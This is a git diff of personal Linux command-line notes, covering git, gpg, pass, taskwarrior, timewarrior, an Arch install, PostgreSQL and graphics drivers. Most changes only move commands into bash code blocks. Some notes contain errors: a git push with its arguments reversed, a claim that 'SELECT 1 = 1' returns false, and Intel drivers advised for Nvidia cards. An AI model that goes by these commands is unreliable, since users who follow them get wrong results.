root=$HOME
root=ssh://$USER@$IP_ADDRESS/$HOME
path=music
ignore=Name *.flac
" > ~/.unison/"$JOB".prf
```
Remember to specify `$IP_ADDRESS`
The last command means it will ignore any file with a name ending in `.flac`.
## Automatic Runs
@ -34,11 +42,12 @@ The last command means it will ignore any file with a name ending in `.flac`.
The first command means this will run but also confirm which files will be deleted, and which will be transferred, us `batch = true` instead.
Or you can deleted that line in the `.prf` file and run it with a flag:
> unison -batch *backup*.prf
```bash
unison -batch *backup*.prf
```
Set unison to run with crontab or a systemd unit file to have directories synchronize automatically.
## Problem Solving
You will see data files summarizing what has happened in the `~/.unison` directory.

8
data/base_16.md Normal file
View File

@ -0,0 +1,8 @@
---
title: "Base 16"
tags: [ "Documentation", "Data" ]
---
```bash
printf "%x" $NUMBER
```

View File

@ -5,14 +5,20 @@ tags: [ "Documentation", "data" ]
Install, and add with
> git lfs install
```bash
git lfs install
```
Then track some filetype with:
> git lfs track "\*.ttf"
```bash
git lfs track "\*.ttf"
```
Or a directory with:
> git lfs track "images/"
```bash
git lfs track "images/"
```
All changes require adding `.gitattributes`.

View File

@ -6,93 +6,140 @@ tags: [ "Documentation", "data" ]
## New Machines
> git config --global user.email *"malinfreeborn@posteo.net"*
```bash
git config --global user.email "$YOUR_EMAIL"
```
> git config --global user.name *"Malin Freeborn"*
```bash
git config --global user.name "$YOUR_NAME"
```
# New Git
Start a git in a folder:
Start a git in directory `$DIR`:
> mkdir *project* && cd *project*
```bash
mkdir $DIR && cd $DIR
```
> git init
```bash
git init
```
Make a file explaining what the project does:
> vim README.md
```bash
vim README.md
```
> git add README.md
Add this to the git:
```bash
git add README.md
```
Then make the initial commit, explaining the change you just made:
> git commit
```bash
git commit
```
# Working
Once you make a change to some file ("file.sh"), add it and make a commit explaining it.
Once you make a change to some file, add it and make a commit explaining it.
> git add file.sh
```bash
git add $FILE
```
> git commit -m"change file.sh"
```bash
git commit -m"change $FILE"
```
Check your history:
> git log
```bash
git log
```
# Remotes
If you want to keep a copy on a public site such as Gitlab, so others can see it, then go there and create a blank project (no readme, nothing).
Find the address you want and add it as a remote:
Give it the same name as the `$DIR` directory, above.
> git remote add *gitlab* *https://gitlab.com/username/projectx*
Add this as a remote:
```bash
REMOTE=gitlab
git remote add $REMOTE https://gitlab.com/$USERNAME/$DIR
```
Tell git you're pushing the branch "master" to the remote repo "origin":
> git push -u master origin
```bash
git push -u master origin
```
If someone makes a change on the remote, pull it down with:
> git pull
```bash
git pull
```
# Branches
A branch is a full copy of the project to test additional ideas.
You can make a new branch called 'featurez' like this:
> git branch *featurez*
```bash
git branch *featurez*
```
Have a look at all your branches:
> git branch
```bash
git branch
```
Switch to your new branch:
> git checkout *featurez*
```bash
git checkout *featurez*
```
And if your changes are rubbish, checkout the "master" branch again, then delete "featurez":
> git branch -D *featurez*
```bash
git branch -D *featurez*
```
Or if it's a good branch, push it to the remote:
> git push *origin* *featurez*
```bash
git push *origin* *featurez*
```
## Merging
Once you like the feature, merge it into the main branch. Switch to master then merge it:
> git merge *featurez*
```bash
git merge *featurez*
```
and delete `featurez` as you've already merged it:
> git branch -d featurez
```bash
git branch -d featurez
```
# Subtree
## Pulling another git repo into a subtree
> git subtree add -P config git@gitlab.com:bindrpg/config.git master
```bash
git subtree add -P config git@gitlab.com:bindrpg/config.git master
```
## Pulling a Subtree from an existing git
@ -100,13 +147,17 @@ The project has subdirectories sub-1,sub-2,sub-3. The first should be its own r
First, we extract its history as an independent item, and make that into a seprate branch.
> git subtree split --prefix=sub-1 -b sub
```bash
git subtree split --prefix=sub-1 -b sub
```
If you want something a few directories deep, you can use `--prefix=sub-1/dir-2/dir-3
Then go and create a new git somewhere else:
> cd ..;mkdir sub-1;cd sub-1;git init --bare
```bash
cd ..;mkdir sub-1;cd sub-1;git init --bare
```
Then go back to your initial git repo, and do the following:
@ -114,38 +165,57 @@ git push ../subtest sub:master
Finally, you can clone this repo from your original.
> git clone ../subtest
```bash
git clone ../subtest
```
# Tricks
## Delete All History
> git checkout --orphan temp
```bash
git checkout --orphan temp
```
> git add -A
```bash
git add -A
```
> git commit -am "release the commits!"
```bash
git commit -am "release the commits!"
```
> git branch -D master
```bash
git branch -D master
```
> git branch -m master
```bash
git branch -m master
```
> git push -f origin master
```bash
git push -f origin master
```
Gitlab requires more changes, such as going to `settings > repository` and switching the main branch, then stripping protection.
## Clean up Bloated Repo
> git fsck --full
```bash
git fsck --full
```
> git gc --prune=now --aggressive
```bash
git gc --prune=now --aggressive
```
> git repack
```bash
git repack
```
## Find Binary Blobs
```
```bash
git rev-list --objects --all \
| git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' \
| sed -n 's/^blob //p' \

View File

@ -1,54 +0,0 @@
---
title: "gpg keys with ssh"
tags: [ "Documentation", "distros" ]
---
<!--
Source:
https://ryanlue.com/posts/2017-06-29-gpg-for-ssh-auth
-->
Install `gnupg`.
Generate a new gpg key just for authentication:
> gpg2 --expert --edit-key 024C6B1C84449BD1CB4DF7A152295D2377F4D70F
Toggle options `S`, `E`, and `A` until the following output:
```
Current allowed actions: Authenticate
```
Add ssh to the gpg key agent.
> echo enable-ssh-support >> ~/.gnupg/gpg-agent.conf
This won't take effect until you restart the gpg agent, so kill it:
> gpgconf --kill gpg-agent
> gpgconf --launch gpg-agent
Use 2048 (or whatever) bits, save, and exit.
Add this to your `~/.bash_profile`:
```
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
```
> source ~/.bash_profile
Find the ssh key's keygrip with:
> gpg -k --with-keygrip
It's the one with `[A]` next to it.
Add it to `~/.gnupg/sshcontrol`.
> echo 1P0P6SA7S07Q8198414P126OR0514R3R8Q1389SP > ~/.gnupg/sshcontrol
Confirm it's added:
> ssh-add -l

View File

@ -6,13 +6,17 @@ tags: [ "Documentation", "data" ]
Generate keys:
> gpg --gen-key
```bash
gpg --gen-key
```
Follow the guide.
# Encrypting a file
> gpg -r malinfreeborn@posteo.net -e file
```bash
gpg -r malinfreeborn@posteo.net -e file
```
`-r` specifies the recipient.
@ -28,11 +32,15 @@ gpg --list-keys
Make a password with a password (cypher encryption).
> gpg -c --output passwords.txt
```bash
gpg -c --output passwords.txt
```
or
> gpg -c > passwords.txt
```bash
gpg -c > passwords.txt
```
Put in a password.
@ -40,17 +48,23 @@ Write message then stop with Ctrl+d.
Get the message back out the file with:
> gpg -d passwords.txt
```bash
gpg -d passwords.txt
```
# Circles of Trust
Search for a key at any key store:
> gpg --search-keys nestorv
```bash
gpg --search-keys nestorv
```
Once you've made a decision about someone:
> gpg --list-keys
```bash
gpg --list-keys
```
You get something like this:
@ -67,27 +81,39 @@ This is a fingerprint.
You can now decide the trust level (this stays on your computer).
> gpg --edit-key *CD30421FD825696BD95F1FF644C62C57B790D3CF*
```bash
gpg --edit-key *CD30421FD825696BD95F1FF644C62C57B790D3CF*
```
Once you're in the interface, type `trust`.
> gpg --sign-key alice@posteo.net
```bash
gpg --sign-key alice@posteo.net
```
Then send those trusted keys up to a server, so people can see you have verified them:
> gpg --send-keys *024C6B1C84449BD1CB4DF7A152295D2377F4D70F*
```bash
gpg --send-keys *024C6B1C84449BD1CB4DF7A152295D2377F4D70F*
```
# Refresh Keys
> gpg --refresh-keys
```bash
gpg --refresh-keys
```
# Export
Your public key:
> gpg --output *me*.gpg --armor --export
```bash
gpg --output *me*.gpg --armor --export
```
or
> gpg --export -a *person@email.tld* > *my_key*.pub
```bash
gpg --export -a *person@email.tld* > *my_key*.pub
```

View File

@ -4,37 +4,57 @@ tags: [ "Documentation", "Data" ]
---
Get the basic config:
> mkdir ~/.config/khard
```bash
mkdir ~/.config/khard
```
> cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
```bash
cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
```
Short list
> khard list
```bash
khard list
```
Longer list
> khard show
```bash
khard show
```
Show from addressbook 'work'
> khard list -a work
```bash
khard list -a work
```
Make a new contact in address book 'family'
> khard new -a family
```bash
khard new -a family
```
> khard edit grampa
```bash
khard edit grampa
```
> khard remove bob
```bash
khard remove bob
```
Move contact 'nina' from 'work' to 'home' address book.
> khard move -a home nina -A work
```bash
khard move -a home nina -A work
```
## Advanced
Merge:
> khard merge [-a source_abook] [-u uid|search terms [search terms ...]] [-A target_abook] [-U target_uid|-t target_search_terms]
```bash
khard merge [-a source_abook] [-u uid|search terms [search terms ...]] [-A target_abook] [-U target_uid|-t target_search_terms]
```

View File

@ -4,9 +4,13 @@ tags: [ "Documentation", "RSS" ]
---
Create the configuration directory before you start, and add at least 1 URL.
> mkdir ~/.config/newsboat
```bash
mkdir ~/.config/newsboat
```
> echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
```bash
echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
```
Start `newsobat` and press `r` to load your feed.
@ -24,7 +28,9 @@ You can input a Youtube channel by adding this, with the channel's ID at the end
To get the channel ID without hunting:
> curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
```bash
curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
```
You can add arbitrary commands to get an RSS feed.
For example, to get a Gemini feed, install `gemget`, then put this in the configuration file:
@ -58,9 +64,11 @@ Or or `,o` to open an article in w3m:
Add vim-like keys:
```
bind-key j next
bind-key k prev
bind-key j down article
bind-key k up article
```
> bind-key j next
> bind-key k prev
> bind-key j down article
> bind-key k up article

View File

@ -8,21 +8,35 @@ Setup [gpg](./gpg.md) keys.
Show your gpg secret it:
> gpg --list-secret-keys
```bash
gpg --list-secret-keys
```
Then use the id number under `sec` to make a pass repo:
> pass init 187233O300300814PQ793NSSS539SQ1O6O184532
```bash
KEY="$(gpg --list-secret-keys | grep -m 1 -A1 '^sec' | tail -n 1)"
```
To add a basic password, e.g. for an encrypted tarball, use:
```bash
pass init $KEY
```
> pass add my-tar-gar.gz
To add a basic password, e.g. for `$WEBSITE`:
```bash
pass $WEBSITE
```
To insert a multiline password, e.g. with a login name:
> pass add -m linuxrocks.online
```bash
pass add -m $WEBSITE
```
Remove a password:
> pass rm linuxrocks.online
```bash
pass rm $WEBSITE
```

View File

@ -12,10 +12,13 @@ Arch: tesseract-data-eng and poppler-utils
## Script
> pdftoppm -png *file*.pdf test
```bash
pdftoppm -png *file*.pdf test
```
> for x in \*png; do
> tesseract -l eng "$x" - >> *out*.txt
> done
```bash
for x in \*png; do
tesseract -l eng "$x" - >> *out*.txt
done
```
- [Example script](data/pdf-to-txt.sh)

File diff suppressed because it is too large Load Diff

View File

@ -1,364 +0,0 @@
---
title: "postgresql"
tags: [ "Documentation", "data" ]
---
# Setup
Install postgres and start it as a service, then start with:
> psql
## Arch setup
> su -l postgres
> initdb -D /var/lib/postgres/data
## Make a database as the new user postgres
> sudo su postgres
> [postgres] echo $HOME
> [postgres]
> [postgres] CREATE DATABASE dvdrental;
## Sample Data
Get sample data.
> wget http://www.postgresqltutorial.com/wp-content/uploads/2019/05/dvdrental.zip
And then get the pdf mapping the sample data:
> wget http://www.postgresqltutorial.com/wp-content/uploads/2018/03/printable-postgresql-sample-database-diagram.pdf
Unzip and load sample data:
> unzip dvdrental.zip
> sudo su postgres
> [postgres] $ pg_restore -U postgres -d dvdrental dvdrental.tar
> [postgres]
# Commands
## Basics
List available databases.
> \l
You'll see a list of available databases like:
`dnd`
`dvdrentals`
Then you can connect to one:
> \c dvdrental
And have a look at what tables it has:
> \d dvdrental
If it has tables such as `language`, `film_actor` and `inventory`, you can see the table's settings with:
> \dt film_actor
And pull back the entire table:
> SELECT * from film_actor;
## Various
Connect to 231.13.48.38 with user 'bob', port 1234, database 'X'
> psql -h 231.13.48.38 -p1234 -U bob X
# Setup Yourself
Make database "test" and connect to it.
> CREATE DATABASE test;
> \l test
Delete database 'dogs':
> DROP DATABASE dogs;
Making a table has a basic form of:
`CREATE TABLE table_name (`
then [ column name ] + [data type ] ... (and possibly data constraints)
`)`
|Data Types | Meaning | Constraints |
|:----|:----|:----|
| BIGSERIAL | A number incrementing by one each entry | 'NOT NULL PRIMARY KEY (so it's used for relational reference) |
| int | integer | (50) limits the table to 50, e.g. `int(50)`|
| VARCHAR | any characters | limit, e.g.`VARCHAR(70)`|
| TIMESTAMP | time | |
| date | date | |
| text | text? | |
| tsquery | text search query | |
| money | money | |
| json | textual JSON data | |
| cidr | ipv4 or 6 address | |
| macaddr | mac address | |
E.g.
```
CREATE TABLE character (
id int,
str int(1),
dex int(1),
spd int(1),
int int(1),
wts int(1),
cha int(1));
```
See your table:
> \d
Look at what columns you have there:
> \d character
But this allows for empty characters, so...
```
CREATE TABLE person (
id BIGSERIAL NOT NULL PRIMARY KEY,
first_name VARCHAR(50) NOT NULL,
last_name VARCHAR(50) NOT NULL,
last_name VARCHAR(50) NOT NULL,
gender VARCHAR(7) NOT NULL,
date_of_birth DATE NOT NULL,
);
```
Delete with
> DROP TABLE person;
## Inserting Data
```
INSERT INTO person (
first_name,
last_name,
gender,
date_of_birth)
VALUES ('Hugi','Smith','DWARF', date '200-01-12');
```
## Selecting Data
You can also mass select by choosing to insert a file. Download example data [here](https://mockaroo.com/).
> \i /home/ghost/file.sql
Various querries:
> SELECT * FROM person;
> SELECT * FROM person ORDER BY id DESC;
> SELECT * FROM person
## Offset, Fetch and Limit
'Limit' is not official, but was accepted later:
> SELECT * FROM person ORDER BY country ASC LIMIT 10;
The official way to make a limit is 'FIRST 5 ROWS ONLY:
> SELECT * FROM person OFFSET 5 FETCH FIRST 5 ROWS ONLY;
> SELECT * FROM person where gender = 'Male' AND ( country_of_birth = 'Poland' OR country_of_birth = 'China');
Miss out the first 5 result with 'OFFSET 5'.
> SELECT p\* FROM PERSON WHERE gender = 'Female' AND country_of_birth = 'Kosovo' OFFSET 5;
> SELECT * FROM person OFFSET 5 FETCH FIRST 7 ROW ONLY;
## Advanced Selection
This query takes a lot of typing:
> SELECT * FROM person WHERE country_of_birth = 'China'
> OR country_of_birth = 'Kosovo'
> OR country_of_birth = 'Brazil';
You can write the same thing with less typing:
> SELECT *
> FROM person
> WHERE country_of_birth in ('China','Kosovo','Brazil');
> SELECT * FROM person
> WHERE date_of_birth
BETWEEN DATE '2018-04-10' AND '2019-01-01'
> ORDER BY date_of_birth;
### Rough Search
Similar words - we can find emails ending in '.com'.
> SELECT * FROM person
> WHERE email LIKE '%.com';
Or any gmail address:
> SELECT * FROM person
> WHERE email LIKE '%@gmail.%';
Or particular characters, where three precede 'gmail.com' and it's case insensitive:
> SELECT * FROM person
> WHERE email iLIKE '\_\_\_@gmail.com';
### Groups and Aggregates
Select all countries as a complete mess:
> SELECT country_of_birth FROM person;
Select countries with proper grouping:
> SELECT country_of_birth FROM person GROUP BY country_of_birth;
Select countries and count instances:
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth ORDER BY country_of_birth;
Also select a minimum number with 'having'. What you have must be before 'order by'.
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) > 5;
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) >= 10;
Other aggregates include 'max', 'min'.
Select most expensive car:
> SELECT MAX(price) FROM car;
> SELECT MIN(price) FROM car;
> SELECT AVG(price) FROM car;
We can stick items together for better grouping:
> SELECT make, model, MAX(price) FROM car GROPU BY make, model;
Select all fields from table 'car', and add a column containing another price, discounted to 90%, rounded to two decimal places.
> SELECT id,make,model,price,ROUND(price * .9, 2) from car;
Same thing, but take 10% of the price from the price.
> SELECT id,make,model,price,ROUND(price - (price * .1), 2) from car;
## Comparison
> SELECT 10 + 2^2;
> SELECT 10! * 2 - 3;
... et c.
This returns false:
> SELECT 1 = 1;
These return false:
> SELECT 2<1;
Or '1 is not equal to 1':
> SELECT 1<>1;
And with strings, 'G is not the same as g':
> SELECT 'G'<>'g';
### Car Disconts
You want to show the discounts on various cars. You check which columns are available and select all of them:
> \d car
> SELECT id,make,model,price FROM car;
## Aliases
You can change what a column name appears as with:
> select price AS original_price from car;
# Null Values
## Coalesce
You can input a series of entries, requesting the first one which is present. Here we input three entries which are 'null', and a third which is '2', so '2' is selected:
> SELECT COALESCE(null, null, 2) AS number;
When selecting column 'email' from table 'person', you can input the string 'Email not provided' if there is no email provided:
> SELECT COALESCE(email, 'Email not provided') from person;
## Nullif
Normally, devision by 0 produces an error:
> SELECT 10/ 0;
But 10 divided by 'null' produces only 'null', which is not an error.
The 'nullif' statement takes two numbers, and returns 'null' iff the numbers are the same as each other.
> select nullif(0,0)
> select nullif(10,10)
# Date
Select date:
> SELECT NOW()::DATE;
> SELECT NOW()::TIME;
or just:
> SELECT NOW();
More [here](postgresql.org/docs/11/datatype-datetime.html).
2h23m

View File

@ -1,94 +0,0 @@
---
title: "sql"
tags: [ "Documentation", "data" ]
---
MySQL, Aurora and the Maria Database work similarly, and mostly with the same commands.
MySQL requires 160 Megs of disk space.
The ontological layers go:
> Database > table > record > field
The record is a line containing multiple fields. The table contains multiple records.
## Database: RPGs
### Table: D&D
#### Columns:
| id | name | year | edition | stars |
|:--:|:-------------------|:-----|:--------|:------|
| 1 | Dungeons & Dragons | 1975 | 1 | 1 |
| 2 | Dungeons & Dragons | 1980 | 2 | 1 |
| 3 | Advanced Dungeons & Dragons | 1985 | 1 | 1 |
# Getting started
> sudo apt-get install mysql-server
You'll be asked for a password.
Log in with:
> mysql -u root -p
The -u requests a user, while -p tells it to prompt for a password.
List all databases:
> show databases;
Make a new database;
> create database creatures;
Start work on the new database:
> use creatures;
> create table stats (Strength VARCHAR(2), Speed VARCHAR(2), Dexterity(2));
This creatures a row called 'stats' within the 'creature'table' with a number of variables, all of type VARCHAR (a variable length character string).
Now you can insert data (which would normally be provided by a user via php or some-such).
> insert into stats (Strength,Speed,Dexterity) values (-1,0,+1)
Now have a look at the info:
> select * from stats
The old way to delete info by selection was:
> delete * from stats where Charisma='0'
...but now it's:
> delete from stats where Charisma='0'
Update a thing:
> update stats
> set Speed='-1',Charisma='-2'
> where Strength=0;
Leaving out the specifier 'where' means you're updating the entire database.
Control order with
> SELECT * FROM stats ORDER BY Strength;
Or for descending order, suffix 'DESC'.
> select * from stats ORDER by Date DESC;
# Resources
Try more at [w3schools](http://www.w3schools.com/sql/sql_groupby.asp).

View File

@ -5,95 +5,137 @@ tags: [ "Documentation", "Organization" ]
Set up the configuration file:
> task
```bash
task
```
Add a task:
> task add *update linux*
```bash
task add update linux
```
See which task is next:
> task next
```bash
task next
```
Note the id number.
Mark a task as started:
> task start *1*
```bash
task start 1
```
Once finished:
> task *1 done*
```bash
task 1 done
```
# Projects
Add a project:
> task add project:*house buy potted plant*
> task add proj:*house.repair buy screwdriver*
> task add proj:*house.repair buy shelf brackets*
3 task add pro:*house.paint buy white paint*
> task add pro:*house.paint buy red paint*
> task add pro:*house.paint buy black paint*
> task add pro:*house.paint buy brushes*
```bash
task add project:house buy potted plant
task add proj:house.repair buy screwdriver
task add proj:house.repair buy shelf brackets
task add pro:house.paint buy white paint
task add pro:house.paint buy red paint
task add pro:house.paint buy black paint
task add pro:house.paint buy brushes
```
## Summary
> task pro:house sum
```bash
task pro:house sum
```
> task burndown.daily pro:house
```bash
task burndown.daily pro:house
```
The summaries will show how fast a project is being completed, and when you can expect it to finish at the present rate.
# Tags
> task add +buy toothbrush
```bash
task add +buy toothbrush
```
You can then see only tasks which involve buying something with:
> task +buy
```bash
task +buy
```
# Contexts
Set three contexts by their tags:
> task context define *work +sa or +hr*
```bash
task context define work +sa or +hr
```
> task context define *study +ed or +void or +rat*
```bash
task context define study +ed or +void or +rat
```
> task context define *home -sa -hr -ed -void -rat*
```bash
task context define home -sa -hr -ed -void -rat
```
Change to the first context.
> task context *work*
```bash
task context work
```
Then stop.
> task context none
```bash
task context none
```
# Review
View list of tasks completed in the last week:
> task end.after:today-1wk completed
```bash
task end.after:today-1wk completed
```
# User Defined Attributes
Make a UDA 'size'.
> task config uda.size.type string
```bash
task config uda.size.type string
```
> task config uda.size.label Size
```bash
task config uda.size.label Size
```
> task config uda.size.values large,medium,small
```bash
task config uda.size.values large,medium,small
```
> uda.size.default=medium
```bash
uda.size.default=medium
```
# Tricks
This command shows tasks I'm most interested in:
> task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
```bash
task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
```
The command is long, so `alias` is your friend.

View File

@ -6,76 +6,88 @@ tags: [ "Documentation", "Data" ]
Try:
> timew summary :yesterday
```bash
timew summary :yesterday
```
You can also use :week, :lastweek, :month, :quarter, :year, or a range such as:
> timew summary today to tomorrow
> timew today - tomorrow
> 2018-10-15T06:00 - 2018-10-17T06:00
```bash
timew summary today to tomorrow
timew today - tomorrow
2018-10-15T06:00 - 2018-10-17T06:00
```
Each of these can gain with the :ids tag.
# Basics
> timew start
> timew stop
> timew continue
> timew summary
> timew tags
```bash
timew start
timew stop
timew continue
timew summary
timew tags
```
And add ids with:
> timew summary :ids
> timew track 10am - 1pm timewarrior
> timew track 1pm for 2h walk
```bash
timew summary :ids
timew track 10am - 1pm timewarrior
timew track 1pm for 2h walk
```
# Adjusting Timewarrior
First get ids.
> timew summary :ids
```bash
timew summary :ids
```
Then if we're looking at task @2:
> timew move @2 12:00
```bash
timew move @2 12:00
timew lengthen @2 3mins
```
> timew lengthen @2 3mins
> time shorten @2 40mins
```bash
time shorten @2 40mins
```
# Forgetting
> timew start 1h ago @4
```bash
timew start 1h ago @4
```
Or if your action actually had a break:
> timew split @8
```bash
timew split @8
```
Or maybe not?
> timew join @4 @8
> timew @8 delete
```bash
timew join @4 @8
timew @8 delete
```
Start at previous time
> timew start 3pm 'Read chapter 12'
> timew start 90mins ago 'Read chapter 12'
```bash
timew start 3pm 'Read chapter 12'
timew start 90mins ago 'Read chapter 12'
```
Cancel currently tracked time.
> timew cancel
```bash
timew cancel
```
# Backdated tracking
@ -129,25 +141,29 @@ task end.after:today-1wk completed
Replace
`os.system('timew start ' + combined + ' :yes')`
> os.system('timew start ' + combined + ' :yes')
with:
`os.system('timew start ' + combined.decode() + ' :yes')`
> os.system('timew start ' + combined.decode() + ' :yes')
and
`os.system('timew stop ' + combined + ' :yes')`
> os.system('timew stop ' + combined + ' :yes')
with:
`os.system('timew stop ' + combined.decode() + ' :yes')`
> os.system('timew stop ' + combined.decode() + ' :yes')
# Fixing Errors
> curl -O https://taskwarrior.org/download/timew-dbcorrection.py
```bash
curl -O https://taskwarrior.org/download/timew-dbcorrection.py
```
> python timew-dbcorrections.py
```bash
python timew-dbcorrections.py
```
# Setup

View File

@ -4,7 +4,9 @@ tags: [ "Documentation", "browsers" ]
---
Open a search tab:
> w3m ddg.gg
```bash
w3m ddg.gg
```
<Tab> then enter to start typing.

View File

@ -7,7 +7,9 @@ tags: [ "Documentation", "Distros", "Arch" ]
Edit `/etc/systemd/system/getty@tty1.service.d/override.conf` by typing:
> sudo systemctl edit getty@tty1
```bash
sudo systemctl edit getty@tty1
```
The put in the following, changing `[ USER ]` to your username.

View File

@ -4,94 +4,150 @@ tags: [ "Documentation", "arch" ]
---
Keyboard layout changed.
> ls /usr/share/kbd/keymaps/**/*.map.gz
```bash
ls /usr/share/kbd/keymaps/**/*.map.gz
```
> loadkeys uk.map.gz
```bash
loadkeys uk.map.gz
```
Check if boot mode is UEFI
> ls /sys/firmware/efi/efivars
```bash
ls /sys/firmware/efi/efivars
```
Without efivars, the system must boot with BIOS.
# Check network's up
> ping archlinux.org
```bash
ping archlinux.org
```
Set system clock properly
> timedatectl set-ntp true
```bash
timedatectl set-ntp true
```
Check disks
> lsblk
```bash
lsblk
```
Make partition
> parted -s /dev/sda mklabel gpt
```bash
parted -s /dev/sda mklabel gpt
```
> parted -s /dev/sda mklabel msdos
```bash
parted -s /dev/sda mklabel msdos
```
> parted -s /dev/sda mkpart primary ext4 512 100%
```bash
parted -s /dev/sda mkpart primary ext4 512 100%
```
> parted -s /dev/sda set 1 boot on
```bash
parted -s /dev/sda set 1 boot on
```
> mkfs.ext4 /dev/sda1
```bash
mkfs.ext4 /dev/sda1
```
Use pacstrap to get the base install.
> mount /dev/sda1 /mnt/
```bash
mount /dev/sda1 /mnt/
```
> pacstrap /mnt base base-devel vim linux linux-firmware
```bash
pacstrap /mnt base base-devel vim linux linux-firmware
```
Make fstab notes for new system.
> genfstab -U /mnt >> /mnt/etc/fstab
```bash
genfstab -U /mnt >> /mnt/etc/fstab
```
> arch-chroot /mnt
```bash
arch-chroot /mnt
```
> echo 'en_GB.UTF-8' > /etc/default/locale
```bash
echo 'en_GB.UTF-8' > /etc/default/locale
```
> pacman -Sy networkmanager grub
```bash
pacman -Sy networkmanager grub
```
For legacy:
> grub-install --target=i386-pc /dev/sda
```bash
grub-install --target=i386-pc /dev/sda
```
For EFI:
> sudo pacman -S efibootmgr
```bash
sudo pacman -S efibootmgr
```
> mkdir /boot/efi
```bash
mkdir /boot/efi
```
> grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
```bash
grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
```
> grub-mkconfig -o /boot/grub/grub.cfg
```bash
grub-mkconfig -o /boot/grub/grub.cfg
```
set local time
> ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```bash
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```
Find the desired locale's and uncomment them.
> vi /etc/locale.gen
```bash
vi /etc/locale.gen
```
> locale-gen
```bash
locale-gen
```
Make your keyboard changes permenent with:
> vi /etc/vconsole.conf
```bash
vi /etc/vconsole.conf
```
Then set: `KEYMAP=uk.map.gz`
unsure about this bit - is this name just for the loadkeys function?
Make a hostname
> echo pc > /etc/hostname
```bash
echo pc > /etc/hostname
```
Set hostnames for network, or at least your own.
> vi /etc/hosts
```bash
vi /etc/hosts
```
# This should have the following, at least:
@ -103,17 +159,27 @@ If the system has a permanent IP address, it should be used instead of localhost
Ping some sites to make sure the network's working
> passwd
```bash
passwd
```
> exit
```bash
exit
```
> umount -R /mnt
```bash
umount -R /mnt
```
Remove that awful beep sound:
> rmmod pcspkr
```bash
rmmod pcspkr
```
...and make the change permanent:
> sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
```bash
sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
```

View File

@ -1,98 +0,0 @@
---
title: "encrypted"
tags: [ "Documentation", "distros" ]
---
> # taken from https://0x00sec.org/t/arch-linux-with-lvm-on-luks-dm-crypt-disk-encryption-installation-guide-legacy-bios-system/1479
> # if you need wifi
> wifi-menu
> timedatectl set-ntp true
> fdisk -l
> parted /dev/sda
> (parted) mklabel msdos
> (parted) mkpart primary ext2 1MB 512MB
> (parted) mkpart primary ext4 512MB 100%
> (parted) print
> (parted) set 1 boot on
> (parted) quit
> fdisk -l
> cryptsetup luksFormat /dev/sda2
> # make a name. Here I use "crypt".
cryptsetup open /dev/sda2 crypt
> pvcreate /dev/mapper/crypt
> # now a group name - "usb"
> vgcreate usb /dev/mapper/crypt
> lvcreate -L 8GB usb -n swap
> lvcreaate -L 30G usb -n root
> lvcreate -l 100%FREE usb -n home
> mkfs.ext4 /dev/mapper/usb-home
mkfs.ext4 /dev/mapper/usb-root
> mkswap /dev/mapper/usb-swap
> mkfs.ext2 /dev/sda1
> mount /dev/mapper/usb-root /mnt
mkdir /mnt/home
> mount /dev/mapper/usb-home /mnt/home
mkdir /mnt/boot
> mount /dev/sda1 /mnt/boot
swapon /dev/mapper/usb-swap
pacstrap -i /mnt base base-devel efibootmgr grub
genfstab -U /mnt >> /mnt/etc/fstab
arch-chroot /mnt
############ new root #############
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
# uncomment en_GT.UTF-8
> vi /etc/locale.gen
> locale-gen
> # add `LANG=en_GB.UTF-8` to /etc/locale.conf
> vi /etc/locale.conf
> echo crypt > /etc/hostname
> # make sure keyboard encrypt lvm2 are on the list of HOOKS
> vi /etc/mkinitcpio.conf
> grub-install /dev/sda
> vi /etc/default/grub
edit the GRUB_CMDLINE_LINUX=""
`GRUB_CMDLINE_LINUX="cryptdevice=/dev/sda2:usb root=/dev/mapper/usb-root"`
> grub-mkconfig -o /boot/grub/grub.cfg
> mkinitcpio -p linux
> pacman -S wpa_supplicant dialog

View File

@ -6,14 +6,20 @@ tags: [ "Documentation", "distros" ]
Update font-cache:
> fc-cache
```bash
fc-cache
```
List fonts:
> fc-list
```bash
fc-list
```
Grab the part of the font name you need for Xresources:
> fc-list | cut -d: -f2
```bash
fc-list | cut -d: -f2
```
Add field 3 for styles.

View File

@ -13,13 +13,17 @@ Include = /etc/pacman.d/mirrorlist
And update:
> sudo pacman -Syu
```bash
sudo pacman -Syu
```
# Step 2: Check Card Manufacturer
Check your graphics card type:
> lspci | grep VGA
```bash
lspci | grep VGA
```
# Step 3: Install Drivers
@ -27,23 +31,33 @@ Check your graphics card type:
If you see `Nvidia`, then install the intel drivers:
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
```bash
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
```
## Step 3B
If you see `Intel`, then install the intel drivers:
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
```bash
